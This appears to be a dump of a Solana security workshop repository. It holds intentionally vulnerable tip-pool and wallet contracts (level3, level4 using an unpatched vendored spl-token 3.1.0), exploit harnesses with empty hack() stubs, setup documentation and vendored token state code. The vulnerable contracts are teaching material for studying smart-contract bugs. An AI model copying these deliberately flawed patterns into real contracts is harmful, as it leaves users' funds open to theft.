&[&internal.wallet_authority], 63 | ); 64 | tx.print_named("Verification: authority withdraw"); 65 | 66 | if tx.transaction.meta.unwrap().err.is_none() { 67 | println!( 68 | "[*] {}", 69 | "Original wallet authority successfully withdrew all funds.".red() 70 | ) 71 | } else { 72 | println!( 73 | "[!] {}", 74 | "Original wallet authority cannot withdraw his funds anymore.".green() 75 | ) 76 | } 77 | 78 | if after > before_balance { 79 | println!("[*] {}", "Congratulations, the exploit succeeded!".green()); 80 | println!( 81 | "[*] Hacker has {} SOL more! ({} vs {})", 82 | lamports_to_sol(after - before_balance).green(), 83 | before_balance, 84 | after 85 | ); 86 | } else { 87 | println!("[*] {}", "Exploit not successful.".red()); 88 | println!( 89 | "[*] Hacker has {} SOL less! ({} vs {})", 90 | lamports_to_sol(before_balance - after).red(), 91 | before_balance, 92 | after 93 | ); 94 | } 95 | } 96 | 97 | fn setup() -> (LocalEnvironment, Challenge, Internal) { 98 | let mut dir = env::current_exe().unwrap(); 99 | let path = { 100 | dir.pop(); 101 | dir.pop(); 102 | dir.push("deploy"); 103 | dir.push("level0.so"); 104 | dir.to_str() 105 | } 106 | .unwrap(); 107 | 108 | let wallet_program = Pubkey::from_str("W4113t3333333333333333333333333333333333333").unwrap(); 109 | let wallet_authority = keypair(0); 110 | let rich_boi = keypair(1); 111 | let hacker = keypair(42); 112 | 113 | let a_lot_of_money = sol_to_lamports(1_000_000.0); 114 | 115 | let mut env = LocalEnvironment::builder() 116 | .add_program(wallet_program, path) 117 | .add_account_with_lamports( 118 | wallet_authority.pubkey(), 119 | system_program::ID, 120 | sol_to_lamports(100.0), 121 | ) 122 | .add_account_with_lamports(rich_boi.pubkey(), system_program::ID, a_lot_of_money * 2) 123 | .add_account_with_lamports(hacker.pubkey(), system_program::ID, sol_to_lamports(1.0)) 124 | .build(); 125 | 126 | let wallet_address = level0::get_wallet_address(wallet_authority.pubkey(), wallet_program); 127 | 128 | let vault_address = level0::get_vault_address(wallet_authority.pubkey(), wallet_program); 129 | 130 | // Create Wallet 131 | assert_tx_success(env.execute_as_transaction( 132 | &[level0::initialize( 133 | wallet_program, 134 | wallet_authority.pubkey(), 135 | )], 136 | &[&wallet_authority], 137 | )); 138 | 139 | println!("[*] Wallet created!"); 140 | 141 | // rich boi pays for bill 142 | assert_tx_success(env.execute_as_transaction( 143 | &[level0::deposit( 144 | wallet_program, 145 | wallet_authority.pubkey(), 146 | rich_boi.pubkey(), 147 | a_lot_of_money, 148 | )], 149 | &[&rich_boi], 150 | )); 151 | println!("[*] rich boi payed his bills"); 152 | 153 | ( 154 | env, 155 | Challenge { 156 | wallet_address, 157 | vault_address, 158 | hacker, 159 | wallet_program, 160 | wallet_authority: wallet_authority.pubkey(), 161 | }, 162 | Internal { 163 | wallet_authority, 164 | wallet_amount: a_lot_of_money, 165 | }, 166 | ) 167 | } 168 | -------------------------------------------------------------------------------- /level4/src/processor.rs: -------------------------------------------------------------------------------- 1 | use borsh::BorshDeserialize; 2 | use solana_program::{ 3 | account_info::{next_account_info, AccountInfo}, 4 | entrypoint::ProgramResult, 5 | msg, 6 | program::{invoke, invoke_signed}, 7 | program_pack::Pack, 8 | pubkey::Pubkey, 9 | rent::Rent, 10 | system_instruction, 11 | sysvar::Sysvar, 12 | }; 13 | 14 | use crate::{get_authority, get_wallet_address, WalletInstruction}; 15 | 16 | // There's a mitigation for this bug in spl-token 3.1.1 17 | // vendored_spl_token is an exact copy of spl-token 3.1.0, which doesn't have the mitigation yet 18 | use vendored_spl_token as spl_token; 19 | 20 | pub fn process_instruction( 21 | program_id: &Pubkey, 22 | accounts: &[AccountInfo], 23 | mut instruction_data: &[u8], 24 | ) -> ProgramResult { 25 | match WalletInstruction::deserialize(&mut instruction_data)? { 26 | WalletInstruction::Initialize => initialize(program_id, accounts), 27 | WalletInstruction::Deposit { amount } => deposit(program_id, accounts, amount), 28 | WalletInstruction::Withdraw { amount } => withdraw(program_id, accounts, amount), 29 | } 30 | } 31 | 32 | fn initialize(program_id: &Pubkey, accounts: &[AccountInfo]) -> ProgramResult { 33 | msg!("init"); 34 | let account_info_iter = &mut accounts.iter(); 35 | let wallet_info = next_account_info(account_info_iter)?; 36 | let authority_info = next_account_info(account_info_iter)?; 37 | let owner = next_account_info(account_info_iter)?; 38 | let mint = next_account_info(account_info_iter)?; 39 | let rent_info = next_account_info(account_info_iter)?; 40 | let spl_token = next_account_info(account_info_iter)?; 41 | 42 | let (wallet_address, wallet_seed) = get_wallet_address(owner.key, program_id); 43 | let (authority_address, _) = get_authority(program_id); 44 | let rent = Rent::from_account_info(rent_info)?; 45 | 46 | assert_eq!(wallet_info.key, &wallet_address); 47 | assert_eq!(authority_info.key, &authority_address); 48 | assert!(owner.is_signer, "owner must sign!"); 49 | 50 | invoke_signed( 51 | &system_instruction::create_account( 52 | &owner.key, 53 | &wallet_address, 54 | rent.minimum_balance(spl_token::state::Account::LEN), 55 | spl_token::state::Account::LEN as u64, 56 | &spl_token.key, 57 | ), 58 | &[owner.clone(), wallet_info.clone()], 59 | &[&[&owner.key.to_bytes(), &[wallet_seed]]], 60 | )?; 61 | 62 | invoke( 63 | &spl_token::instruction::initialize_account( 64 | &spl_token.key, 65 | &wallet_address, 66 | mint.key, 67 | &authority_address, 68 | ) 69 | .unwrap(), 70 | &[ 71 | authority_info.clone(), 72 | wallet_info.clone(), 73 | mint.clone(), 74 | rent_info.clone(), 75 | ], 76 | )?; 77 | 78 | Ok(()) 79 | } 80 | 81 | fn deposit(_program_id: &Pubkey, accounts: &[AccountInfo], amount: u64) -> ProgramResult { 82 | msg!("deposit {}", amount); 83 | let account_info_iter = &mut accounts.iter(); 84 | let wallet_info = next_account_info(account_info_iter)?; 85 | let source_info = next_account_info(account_info_iter)?; 86 | let user_authority_info = next_account_info(account_info_iter)?; 87 | let mint = next_account_info(account_info_iter)?; 88 | let spl_token = next_account_info(account_info_iter)?; 89 | 90 | let decimals = mint.data.borrow()[44]; 91 | 92 | invoke( 93 | &spl_token::instruction::transfer_checked( 94 | &spl_token.key, 95 | &source_info.key, 96 | mint.key, 97 | wallet_info.key, 98 | user_authority_info.key, 99 | &[], 100 | amount, 101 | decimals, 102 | ) 103 | .unwrap(), 104 | &[ 105 | wallet_info.clone(), 106 | source_info.clone(), 107 | user_authority_info.clone(), 108 | mint.clone(), 109 | ], 110 | )?; 111 | 112 | Ok(()) 113 | } 114 | 115 | fn withdraw(program_id: &Pubkey, accounts: &[AccountInfo], amount: u64) -> ProgramResult { 116 | msg!("withdraw {}", amount); 117 | let account_info_iter = &mut accounts.iter(); 118 | let wallet_info = next_account_info(account_info_iter)?; 119 | let authority_info = next_account_info(account_info_iter)?; 120 | let owner_info = next_account_info(account_info_iter)?; 121 | let destination_info = next_account_info(account_info_iter)?; 122 | let mint = next_account_info(account_info_iter)?; 123 | let spl_token = next_account_info(account_info_iter)?; 124 | 125 | let (wallet_address, _) = get_wallet_address(owner_info.key, program_id); 126 | let (authority_address, authority_seed) = get_authority(program_id); 127 | 128 | assert_eq!(wallet_info.key, &wallet_address); 129 | assert_eq!(authority_info.key, &authority_address); 130 | assert!(owner_info.is_signer, "owner must sign!"); 131 | 132 | let decimals = mint.data.borrow()[44]; 133 | 134 | invoke_signed( 135 | &spl_token::instruction::transfer_checked( 136 | &spl_token.key, 137 | &wallet_info.key, 138 | mint.key, 139 | destination_info.key, 140 | authority_info.key, 141 | &[], 142 | amount, 143 | decimals, 144 | ) 145 | .unwrap(), 146 | &[ 147 | wallet_info.clone(), 148 | destination_info.clone(), 149 | authority_info.clone(), 150 | mint.clone(), 151 | ], 152 | &[&[&[authority_seed]]], 153 | )?; 154 | 155 | Ok(()) 156 | } 157 | -------------------------------------------------------------------------------- /level3/src/processor.rs: -------------------------------------------------------------------------------- 1 | use borsh::{BorshDeserialize, BorshSerialize}; 2 | use solana_program::{ 3 | account_info::{next_account_info, AccountInfo}, 4 | entrypoint::ProgramResult, 5 | program::{invoke, invoke_signed}, 6 | program_error::ProgramError, 7 | pubkey::Pubkey, 8 | rent::Rent, 9 | system_instruction, 10 | sysvar::Sysvar, 11 | }; 12 | 13 | use crate::{TipInstruction, TipPool, Vault, VAULT_LEN}; 14 | 15 | pub fn process_instruction( 16 | program_id: &Pubkey, 17 | accounts: &[AccountInfo], 18 | mut instruction_data: &[u8], 19 | ) -> ProgramResult { 20 | match TipInstruction::deserialize(&mut instruction_data)? { 21 | TipInstruction::Initialize { 22 | seed, 23 | fee, 24 | fee_recipient, 25 | } => initialize(program_id, accounts, seed, fee, fee_recipient), 26 | TipInstruction::Tip { amount } => tip(program_id, accounts, amount), 27 | TipInstruction::Withdraw { amount } => withdraw(program_id, accounts, amount), 28 | TipInstruction::CreatePool => create_pool(program_id, accounts), 29 | } 30 | } 31 | 32 | fn initialize( 33 | program_id: &Pubkey, 34 | accounts: &[AccountInfo], 35 | seed: u8, 36 | fee: f64, 37 | fee_recipient: Pubkey, 38 | ) -> ProgramResult { 39 | let account_info_iter = &mut accounts.iter(); 40 | let vault_info = next_account_info(account_info_iter)?; 41 | let initializer_info = next_account_info(account_info_iter)?; 42 | let rent_info = next_account_info(account_info_iter)?; 43 | let rent = Rent::from_account_info(rent_info)?; 44 | let vault_address = Pubkey::create_program_address(&[&[seed]], program_id).unwrap(); 45 | 46 | assert_eq!(*vault_info.key, vault_address); 47 | assert!( 48 | vault_info.data_is_empty(), 49 | "vault info must be empty account!" 50 | ); 51 | assert!(initializer_info.is_signer, "initializer must sign!"); 52 | 53 | invoke_signed( 54 | &system_instruction::create_account( 55 | &initializer_info.key, 56 | &vault_address, 57 | rent.minimum_balance(VAULT_LEN as usize), 58 | VAULT_LEN, 59 | &program_id, 60 | ), 61 | &[initializer_info.clone(), vault_info.clone()], 62 | &[&[&[seed]]], 63 | )?; 64 | 65 | let vault = Vault { 66 | creator: *initializer_info.key, 67 | fee, 68 | fee_recipient, 69 | seed, 70 | }; 71 | 72 | vault 73 | .serialize(&mut &mut vault_info.data.borrow_mut()[..]) 74 | .unwrap(); 75 | 76 | Ok(()) 77 | } 78 | 79 | fn create_pool(program_id: &Pubkey, accounts: &[AccountInfo]) -> ProgramResult { 80 | let account_info_iter = &mut accounts.iter(); 81 | let vault_info = next_account_info(account_info_iter)?; 82 | let withdraw_authority_info = next_account_info(account_info_iter)?; 83 | let pool_info = next_account_info(account_info_iter)?; 84 | 85 | assert_eq!(vault_info.owner, program_id); 86 | assert!( 87 | withdraw_authority_info.is_signer, 88 | "withdraw authority must sign!" 89 | ); 90 | assert_eq!(pool_info.owner, program_id); 91 | // check that account is uninitialized 92 | if pool_info.data.borrow_mut().into_iter().any(|b| *b != 0) { 93 | return Err(ProgramError::AccountAlreadyInitialized); 94 | } 95 | 96 | let pool = TipPool { 97 | withdraw_authority: *withdraw_authority_info.key, 98 | value: 0, 99 | vault: *vault_info.key, 100 | }; 101 | 102 | pool.serialize(&mut &mut pool_info.data.borrow_mut()[..]) 103 | .unwrap(); 104 | 105 | Ok(()) 106 | } 107 | 108 | fn tip(program_id: &Pubkey, accounts: &[AccountInfo], amount: u64) -> ProgramResult { 109 | let account_info_iter = &mut accounts.iter(); 110 | let vault_info = next_account_info(account_info_iter)?; 111 | let pool_info = next_account_info(account_info_iter)?; 112 | let source_info = next_account_info(account_info_iter)?; 113 | let mut pool = TipPool::deserialize(&mut &(*pool_info.data).borrow_mut()[..])?; 114 | 115 | assert_eq!(vault_info.owner, program_id); 116 | assert_eq!(pool_info.owner, program_id); 117 | assert_eq!(pool.vault, *vault_info.key); 118 | 119 | invoke( 120 | &system_instruction::transfer(&source_info.key, &vault_info.key, amount), 121 | &[vault_info.clone(), source_info.clone()], 122 | )?; 123 | 124 | pool.value = match pool.value.checked_add(amount) { 125 | Some(v) => v, 126 | None => return Err(ProgramError::InvalidArgument), 127 | }; 128 | 129 | pool.serialize(&mut &mut pool_info.data.borrow_mut()[..]) 130 | .unwrap(); 131 | 132 | Ok(()) 133 | } 134 | 135 | fn withdraw(program_id: &Pubkey, accounts: &[AccountInfo], amount: u64) -> ProgramResult { 136 | let account_info_iter = &mut accounts.iter(); 137 | let vault_info = next_account_info(account_info_iter)?; 138 | let pool_info = next_account_info(account_info_iter)?; 139 | let withdraw_authority_info = next_account_info(account_info_iter)?; 140 | let mut pool = TipPool::deserialize(&mut &(*pool_info.data).borrow_mut()[..])?; 141 | 142 | assert_eq!(vault_info.owner, program_id); 143 | assert_eq!(pool_info.owner, program_id); 144 | assert!( 145 | withdraw_authority_info.is_signer, 146 | "withdraw authority must sign" 147 | ); 148 | assert_eq!(pool.vault, *vault_info.key); 149 | assert_eq!(*withdraw_authority_info.key, pool.withdraw_authority); 150 | 151 | pool.value = match pool.value.checked_sub(amount) { 152 | Some(v) => v, 153 | None => return Err(ProgramError::InvalidArgument), 154 | }; 155 | 156 | **(*vault_info).lamports.borrow_mut() -= amount; 157 | **(*withdraw_authority_info).lamports.borrow_mut() += amount; 158 | 159 | pool.serialize(&mut &mut pool_info.data.borrow_mut()[..]) 160 | .unwrap(); 161 | 162 | Ok(()) 163 | } 164 | -------------------------------------------------------------------------------- /pocs/src/bin/level3.rs: -------------------------------------------------------------------------------- 1 | use std::{env, str::FromStr}; 2 | 3 | use level3::{TipPool, TIP_POOL_LEN}; 4 | 5 | use owo_colors::OwoColorize; 6 | use poc_framework::solana_sdk::signature::Keypair; 7 | use poc_framework::{ 8 | keypair, solana_sdk::signer::Signer, Environment, LocalEnvironment, PrintableTransaction, 9 | }; 10 | use solana_program::native_token::lamports_to_sol; 11 | 12 | use pocs::assert_tx_success; 13 | use solana_program::{native_token::sol_to_lamports, pubkey::Pubkey, system_program}; 14 | 15 | #[allow(dead_code)] 16 | struct Challenge { 17 | hacker: Keypair, 18 | tip_program: Pubkey, 19 | initizalizer: Pubkey, 20 | poor_boi: Pubkey, 21 | rich_boi: Pubkey, 22 | tip_pool: Pubkey, 23 | vault_address: Pubkey, 24 | } 25 | 26 | // Do your hacks in this function here 27 | fn hack(_env: &mut LocalEnvironment, _challenge: &Challenge) {} 28 | 29 | /* 30 | SETUP CODE BELOW 31 | */ 32 | pub fn main() { 33 | let (mut env, challenge, internal) = setup(); 34 | let before_balance = env.get_account(challenge.hacker.pubkey()).unwrap().lamports; 35 | hack(&mut env, &challenge); 36 | verify(&mut env, challenge, before_balance, internal); 37 | } 38 | 39 | struct Internal { 40 | poor_boi: Keypair, 41 | } 42 | 43 | fn verify( 44 | env: &mut LocalEnvironment, 45 | challenge: Challenge, 46 | before_balance: u64, 47 | internal: Internal, 48 | ) { 49 | let after = env.get_account(challenge.hacker.pubkey()).unwrap().lamports; 50 | println!("[*] HACKSUCCESS: {}", after > before_balance); 51 | 52 | //poor boi withdraws everything from pool 53 | let pool: TipPool = env.get_deserialized_account(challenge.tip_pool).unwrap(); 54 | 55 | let tx = env.execute_as_transaction( 56 | &[level3::withdraw( 57 | challenge.tip_program, 58 | challenge.vault_address, 59 | challenge.tip_pool, 60 | challenge.poor_boi, 61 | pool.value, 62 | )], 63 | &[&internal.poor_boi], 64 | ); 65 | 66 | tx.print_named("Verification: authority withdraw"); 67 | 68 | if tx.transaction.meta.unwrap().err.is_none() { 69 | println!( 70 | "[*] {}", 71 | "Original wallet authority successfully withdrew all funds.".red() 72 | ) 73 | } else { 74 | println!( 75 | "[!] {}", 76 | "Original wallet authority cannot withdraw his funds anymore.".green() 77 | ) 78 | } 79 | 80 | if after > before_balance { 81 | println!("[*] {}", "Congratulations, the exploit succeeded!".green()); 82 | println!( 83 | "[*] Hacker has {} SOL more! ({} vs {})", 84 | lamports_to_sol(after - before_balance).green(), 85 | before_balance, 86 | after 87 | ); 88 | } else { 89 | println!("[*] {}", "Exploit not successful.".red()); 90 | println!( 91 | "[*] Hacker has {} SOL less! ({} vs {})", 92 | lamports_to_sol(before_balance - after).red(), 93 | before_balance, 94 | after 95 | ); 96 | } 97 | } 98 | 99 | fn setup() -> (LocalEnvironment, Challenge, Internal) { 100 | let mut dir = env::current_exe().unwrap(); 101 | let path = { 102 | dir.pop(); 103 | dir.pop(); 104 | dir.push("deploy"); 105 | dir.push("level3.so"); 106 | dir.to_str() 107 | } 108 | .unwrap(); 109 | 110 | let tip_program = Pubkey::from_str("T1p1111111111111111111111111111111111111111").unwrap(); 111 | let initizalizer = keypair(0); 112 | let poor_boi = keypair(1); 113 | let rich_boi = keypair(2); 114 | let tip_pool = keypair(3); 115 | let hacker = keypair(42); 116 | 117 | let a_lot_of_money = sol_to_lamports(1_000_000.0); 118 | 119 | let mut env = LocalEnvironment::builder() 120 | .add_program(tip_program, path) 121 | .add_account_with_lamports( 122 | initizalizer.pubkey(), 123 | system_program::ID, 124 | sol_to_lamports(100.0), 125 | ) 126 | .add_account_with_lamports(poor_boi.pubkey(), system_program::ID, 0) 127 | .add_account_with_lamports(rich_boi.pubkey(), system_program::ID, a_lot_of_money * 2) 128 | .add_account_with_lamports(hacker.pubkey(), system_program::ID, sol_to_lamports(2.0)) 129 | .build(); 130 | 131 | let seed: u8 = 0; 132 | let vault_address = Pubkey::create_program_address(&[&[seed]], &tip_program).unwrap(); 133 | 134 | // Create Vault 135 | assert_tx_success(env.execute_as_transaction( 136 | &[level3::initialize( 137 | tip_program, 138 | vault_address, 139 | initizalizer.pubkey(), 140 | seed, 141 | 2.0, 142 | vault_address, 143 | )], 144 | &[&initizalizer], 145 | )); 146 | 147 | println!("[*] Vault created!"); 148 | 149 | // Create Pool 150 | env.create_account_rent_excempt(&tip_pool, TIP_POOL_LEN as usize, tip_program); 151 | 152 | assert_tx_success(env.execute_as_transaction( 153 | &[level3::create_pool( 154 | tip_program, 155 | vault_address, 156 | poor_boi.pubkey(), 157 | tip_pool.pubkey(), 158 | )], 159 | &[&poor_boi], 160 | )); 161 | println!("[*] Pool created!"); 162 | 163 | // rich boi tips pool 164 | assert_tx_success(env.execute_as_transaction( 165 | &[level3::tip( 166 | tip_program, 167 | vault_address, 168 | tip_pool.pubkey(), 169 | rich_boi.pubkey(), 170 | a_lot_of_money, 171 | )], 172 | &[&rich_boi], 173 | )); 174 | println!("[*] rich boi tipped poor bois pool!"); 175 | 176 | ( 177 | env, 178 | Challenge { 179 | vault_address, 180 | hacker, 181 | tip_program, 182 | initizalizer: initizalizer.pubkey(), 183 | poor_boi: poor_boi.pubkey(), 184 | rich_boi: rich_boi.pubkey(), 185 | tip_pool: tip_pool.pubkey(), 186 | }, 187 | Internal { poor_boi }, 188 | ) 189 | } 190 | -------------------------------------------------------------------------------- /docs/setup.md: -------------------------------------------------------------------------------- 1 | # Setup 2 | 3 | To be able to write exploits, you need an appropriate development-environment. 4 | If you have developed Solana contracts on your device before, feel free to just use your existing setup. 5 | 6 | Depending on how comfortable you are with your current environment, there are three options: 7 | - Fully provided development: You pull and start a docker container we provide. In there, you find a VS-Code instance, which you can access via the browser. This is the easiest to get going with, but some keybinds might differ from what you are used to. 8 | - Fully local development: You checkout out a [git-repo](https://github.com/neodyme-labs/neodyme-breakpoint-workshop) and go from there. Recommended for experienced devs, more difficult to setup. 9 | - Mixed development: Still get the benefits of a local VS-Code (your settings, all shortcuts), without having to install all dependencies. Also requires some local setup. 10 | 11 | Should you have one of the new M1 Macs, this is a bit unfortunate as Solana's rBPF-JIT is not supported there, and we currently have no way of disabling it in our setup. 12 | 13 | ## Easy Option: Full Setup 14 | We have provided a full docker image with all you need. 15 | 16 | 1. Install docker 17 | 2. `docker run --name breakpoint-workshop -p 2222:22 -p 8080:80 -e PASSWORD="password" neodymelabs/breakpoint-workshop:latest-code-prebuilt` 18 | 19 | The container runs a headless instance of VS-Code, setup with rust-analyzer. To access it, go to `http://127.0.0.1:8080` and enter your password (`password`). 20 | 21 | The workshop files are located at `/work` and the most basic tools are installed. As this container is Debian based you can install additional tools using `apt`. 22 | 23 | If you are using Chrome, the usual VS-Code shortcuts will work. Firefox is a bit more restrictive, and you might have to use the menu instead of some shortcuts. 24 | 25 | To get a terminal on the server, you can either use ssh, or simply use VS-Code's build-in terminal (Open with either `` Ctrl+Shift+` ``, or `Menu->View->Terminal`). The workspace is located at `/work`. 26 | To ssh use this command `ssh user@127.0.0.1 -p 2222` and type in the password as before. 27 | 28 | Go-to-definition can be done with `Ctrl+Left Mouse Button`, going back with `Ctrl+Alt+Minus` 29 | 30 | ## Flexible Option: Local Setup 31 | 32 | For the local setup, you need to fetch our prepared contracts and exploit-harnesses on [Github](https://github.com/neodyme-labs/neodyme-breakpoint-workshop). In addition, you need an up-to-date version of Rust. Should you wish to render these docs locally, you can do so with mdbook: 33 | 34 | ``` 35 | cargo install mdbook 36 | mdbook serve 37 | ``` 38 | 39 | If you encounter the error 40 | 41 | ``` 42 | error: failed to download `solana-frozen-abi v1.8.2` 43 | ``` 44 | 45 | or 46 | 47 | ``` 48 | thread 'main' panicked at 'called `Result::unwrap()` on an `Err` value: Os { code: 2, kind: NotFound, message: "No such file or directory" }', /home/user/.cargo/registry/src/github.com-1ecc6299db9ec823/poc-framework-0.1.2/src/lib.rs:522:81 49 | ``` 50 | 51 | then the contract failed to build. This is likely caused by a too old or too new Rust or Solana toolchain. After installing a recent version of rustup and the Solana toolchain, ensure you select the correct versions by running: 52 | 53 | ```sh 54 | rustup toolchain install 1.56 --profile minimal 55 | rustup default 1.56 56 | 57 | mkdir -p ~/.local/share/solana/install/releases/1.8.14 58 | cd ~/.local/share/solana/install/releases/1.8.14 59 | curl -LO https://github.com/solana-labs/solana/releases/download/v1.8.14/solana-release-x86_64-unknown-linux-gnu.tar.bz2 60 | tar xf solana-release-x86_64-unknown-linux-gnu.tar.bz2 61 | rm solana-release-x86_64-unknown-linux-gnu.tar.bz2 62 | 63 | cd ~/.local/share/solana/install 64 | rm active_release 65 | ln -s releases/1.8.14/solana-release active_release 66 | ``` 67 | 68 | 69 | 70 | ## Third Option: Combined Setup 71 | It is possible to use the container with VS-Code via the [Remote Development](https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.vscode-remote-extensionpack) extension. Unfortunately, this extension is only available for the original Microsoft binary builds, and not open-source builds of VSCode. 72 | 73 | 1. Install docker 74 | 2. `docker run --name breakpoint-workshop -p 2222:22 -p 8080:80 -e PASSWORD="password" neodymelabs/breakpoint-workshop:latest-code-prebuilt` 75 | 3. Open VS-Code 76 | 4. Install the Remote Development extension (`Remote - SSH`), if not installed already 77 | 5. Press `Ctrl+Shift+P` to open the command palette 78 | 6. Enter `Remote-SSH: Connect to Host...` 79 | 7. Enter the user and address of your assigned instance, e.g. `user@127.0.0.1:2222` 80 | 8. Enter your password when prompted 81 | 9. Open a terminal (on the remote) 82 | 10. Terminate the connection and reconnect via VSCode 83 | 11. Click `Open Folder` and open the workspace at `/work` 84 | 12. The workspace will open. You operate on the same files as you would via the fully-remote setup 85 | 13. Install the rust-analyzer extension on the remote 86 | 87 | ## Compiling the contracts and running the exploits 88 | 89 | We provide five contracts and five exploit harnesses, all in the same cargo workspace. As they all use the same dependencies, we can save disk space and compile time that way. 90 | Each contract is in its own crate (`level0 - level4`). For the exploits, we have pre-setup harnesses using our PoC-framework contained in the `pocs` folder, though more on that later. 91 | 92 | To make compiling and running the exploits painless, especially on the remote instances, we have provided pre-configured build targets in VS-Code. To compile and run an exploit, you can press `Ctrl+Shift+B` and then select the exploit you are working on. 93 | 94 | In the VS-Code based workflow, all contracts are rebuilt automatically whenever you run an exploit. You can also trigger this rebuilding manually by selecting the `build contracts` option in VS-Code's build menu. 95 | 96 | If you don't want to use this workflow, you have to rebuild the contracts yourself whenever you change something (for example, introducing logging). 97 | 98 | Compiling and running the old-fashioned way via terminal is possible as well. Each exploit complies to its own binary, which you can select via the `--bin` argument for cargo: 99 | 100 | ```sh 101 | # compile all contracts 102 | cargo build-bpf --workspace 103 | 104 | # run level3 exploit 105 | RUST_BACKTRACE=1 cargo run --bin level3 106 | ``` 107 | -------------------------------------------------------------------------------- /level4/vendored-spl-token-3.1.0/src/state.rs: -------------------------------------------------------------------------------- 1 | //! State transition types 2 | 3 | use crate::instruction::MAX_SIGNERS; 4 | use arrayref::{array_mut_ref, array_ref, array_refs, mut_array_refs}; 5 | use num_enum::TryFromPrimitive; 6 | use solana_program::{ 7 | program_error::ProgramError, 8 | program_option::COption, 9 | program_pack::{IsInitialized, Pack, Sealed}, 10 | pubkey::Pubkey, 11 | }; 12 | 13 | /// Mint data. 14 | #[repr(C)] 15 | #[derive(Clone, Copy, Debug, Default, PartialEq)] 16 | pub struct Mint { 17 | /// Optional authority used to mint new tokens. The mint authority may only be provided during 18 | /// mint creation. If no mint authority is present then the mint has a fixed supply and no 19 | /// further tokens may be minted. 20 | pub mint_authority: COption, 21 | /// Total supply of tokens. 22 | pub supply: u64, 23 | /// Number of base 10 digits to the right of the decimal place. 24 | pub decimals: u8, 25 | /// Is `true` if this structure has been initialized 26 | pub is_initialized: bool, 27 | /// Optional authority to freeze token accounts. 28 | pub freeze_authority: COption, 29 | } 30 | impl Sealed for Mint {} 31 | impl IsInitialized for Mint { 32 | fn is_initialized(&self) -> bool { 33 | self.is_initialized 34 | } 35 | } 36 | impl Pack for Mint { 37 | const LEN: usize = 82; 38 | fn unpack_from_slice(src: &[u8]) -> Result { 39 | let src = array_ref![src, 0, 82]; 40 | let (mint_authority, supply, decimals, is_initialized, freeze_authority) = 41 | array_refs![src, 36, 8, 1, 1, 36]; 42 | let mint_authority = unpack_coption_key(mint_authority)?; 43 | let supply = u64::from_le_bytes(*supply); 44 | let decimals = decimals[0]; 45 | let is_initialized = match is_initialized { 46 | [0] => false, 47 | [1] => true, 48 | _ => return Err(ProgramError::InvalidAccountData), 49 | }; 50 | let freeze_authority = unpack_coption_key(freeze_authority)?; 51 | Ok(Mint { 52 | mint_authority, 53 | supply, 54 | decimals, 55 | is_initialized, 56 | freeze_authority, 57 | }) 58 | } 59 | fn pack_into_slice(&self, dst: &mut [u8]) { 60 | let dst = array_mut_ref![dst, 0, 82]; 61 | let ( 62 | mint_authority_dst, 63 | supply_dst, 64 | decimals_dst, 65 | is_initialized_dst, 66 | freeze_authority_dst, 67 | ) = mut_array_refs![dst, 36, 8, 1, 1, 36]; 68 | let &Mint { 69 | ref mint_authority, 70 | supply, 71 | decimals, 72 | is_initialized, 73 | ref freeze_authority, 74 | } = self; 75 | pack_coption_key(mint_authority, mint_authority_dst); 76 | *supply_dst = supply.to_le_bytes(); 77 | decimals_dst[0] = decimals; 78 | is_initialized_dst[0] = is_initialized as u8; 79 | pack_coption_key(freeze_authority, freeze_authority_dst); 80 | } 81 | } 82 | 83 | /// Account data. 84 | #[repr(C)] 85 | #[derive(Clone, Copy, Debug, Default, PartialEq)] 86 | pub struct Account { 87 | /// The mint associated with this account 88 | pub mint: Pubkey, 89 | /// The owner of this account. 90 | pub owner: Pubkey, 91 | /// The amount of tokens this account holds. 92 | pub amount: u64, 93 | /// If `delegate` is `Some` then `delegated_amount` represents 94 | /// the amount authorized by the delegate 95 | pub delegate: COption, 96 | /// The account's state 97 | pub state: AccountState, 98 | /// If is_some, this is a native token, and the value logs the rent-exempt reserve. An Account 99 | /// is required to be rent-exempt, so the value is used by the Processor to ensure that wrapped 100 | /// SOL accounts do not drop below this threshold. 101 | pub is_native: COption, 102 | /// The amount delegated 103 | pub delegated_amount: u64, 104 | /// Optional authority to close the account. 105 | pub close_authority: COption, 106 | } 107 | impl Account { 108 | /// Checks if account is frozen 109 | pub fn is_frozen(&self) -> bool { 110 | self.state == AccountState::Frozen 111 | } 112 | /// Checks if account is native 113 | pub fn is_native(&self) -> bool { 114 | self.is_native.is_some() 115 | } 116 | } 117 | impl Sealed for Account {} 118 | impl IsInitialized for Account { 119 | fn is_initialized(&self) -> bool { 120 | self.state != AccountState::Uninitialized 121 | } 122 | } 123 | impl Pack for Account { 124 | const LEN: usize = 165; 125 | fn unpack_from_slice(src: &[u8]) -> Result { 126 | let src = array_ref![src, 0, 165]; 127 | let (mint, owner, amount, delegate, state, is_native, delegated_amount, close_authority) = 128 | array_refs![src, 32, 32, 8, 36, 1, 12, 8, 36]; 129 | Ok(Account { 130 | mint: Pubkey::new_from_array(*mint), 131 | owner: Pubkey::new_from_array(*owner), 132 | amount: u64::from_le_bytes(*amount), 133 | delegate: unpack_coption_key(delegate)?, 134 | state: AccountState::try_from_primitive(state[0]) 135 | .or(Err(ProgramError::InvalidAccountData))?, 136 | is_native: unpack_coption_u64(is_native)?, 137 | delegated_amount: u64::from_le_bytes(*delegated_amount), 138 | close_authority: unpack_coption_key(close_authority)?, 139 | }) 140 | } 141 | fn pack_into_slice(&self, dst: &mut [u8]) { 142 | let dst = array_mut_ref![dst, 0, 165]; 143 | let ( 144 | mint_dst, 145 | owner_dst, 146 | amount_dst, 147 | delegate_dst, 148 | state_dst, 149 | is_native_dst, 150 | delegated_amount_dst, 151 | close_authority_dst, 152 | ) = mut_array_refs![dst, 32, 32, 8, 36, 1, 12, 8, 36]; 153 | let &Account { 154 | ref mint, 155 | ref owner, 156 | amount, 157 | ref delegate, 158 | state, 159 | ref is_native, 160 | delegated_amount, 161 | ref close_authority, 162 | } = self; 163 | mint_dst.copy_from_slice(mint.as_ref()); 164 | owner_dst.copy_from_slice(owner.as_ref()); 165 | *amount_dst = amount.to_le_bytes(); 166 | pack_coption_key(delegate, delegate_dst); 167 | state_dst[0] = state as u8; 168 | pack_coption_u64(is_native, is_native_dst); 169 | *delegated_amount_dst = delegated_amount.to_le_bytes(); 170 | pack_coption_key(close_authority, close_authority_dst); 171 | } 172 | } 173 | 174 | /// Account state. 175 | #[repr(u8)] 176 | #[derive(Clone, Copy, Debug, PartialEq, TryFromPrimitive)] 177 | pub enum AccountState { 178 | /// Account is not yet initialized 179 | Uninitialized, 180 | /// Account is initialized; the 